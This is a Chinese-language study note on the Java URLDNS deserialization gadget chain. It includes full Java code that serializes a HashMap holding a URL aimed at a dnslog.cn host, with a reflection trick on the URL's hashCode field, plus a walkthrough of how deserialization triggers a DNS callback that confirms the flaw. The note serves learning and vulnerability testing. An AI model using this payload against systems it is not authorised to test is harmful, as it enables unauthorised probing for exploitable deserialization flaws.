序列化和反序列化

image-20230225103722699

URLDNS利用链

原理

java.util.HashMap 实现了 Serializable 接口,重写了 readObject,在反序列化时会调用 hash 函数计算 key 的 hashCode ,而 java.net.URLhashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求

该利用链具有如下特点

  • 不限制 jdk 版本,使用 Java 内置的 URL 类,不依赖于任何的第三方库
  • 只对指定的 URL 发送 DNS 查询,不做其他操作
  • 在目标没有回显的时候,能够通过 DNS 请求得知是否存在反序列列化漏洞

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
public static void Serialize(Object object) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://gkkog0.dnslog.cn");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashMap.put(url,1);
//这里把hashcode改回-1(通过反射改变已有对象属性)
hashcodefield.set(url,-1);
Serialize(hashMap);
}
}

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSeriazationTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("ser.bin");
}
}

反序列化具体代码分析:

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

对传入的内容进行反序列化,获得到key、value,然后对key传入hash方法。 接下来再看一下hash方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列护化获取key、value。然后对key调用hascode方法,如果key是url对象,url对象的hashcode方法可以发起url请求(要用到反射的知识,在代码运行的时候动态的修改类的属性值,把hashcode改为-1)

整体流程:

1
2
3
4
1. 将URL对象作为key放入hashMap中,将其序列化发送给目标机器
2. 如果目标机器存在反序列化漏洞,那么会执行 HashMap.readObject() 将数据反序列化
3. 在反序列化期间,为了还原hashmap的内容,会调用 hash() 方法,而 hash() 函数会调用传入参数的 hashCode() 方法
4. 当URL对象的 hashCode 属性值为-1时会调用 handler.hashCode() 方法,而这个方法会进行一次DNS查询

反序列化后收到解析记录

image-20230308154309992

image-20230308154223607

Burp插件,拥有类似dnslog功能

image-20230226112937233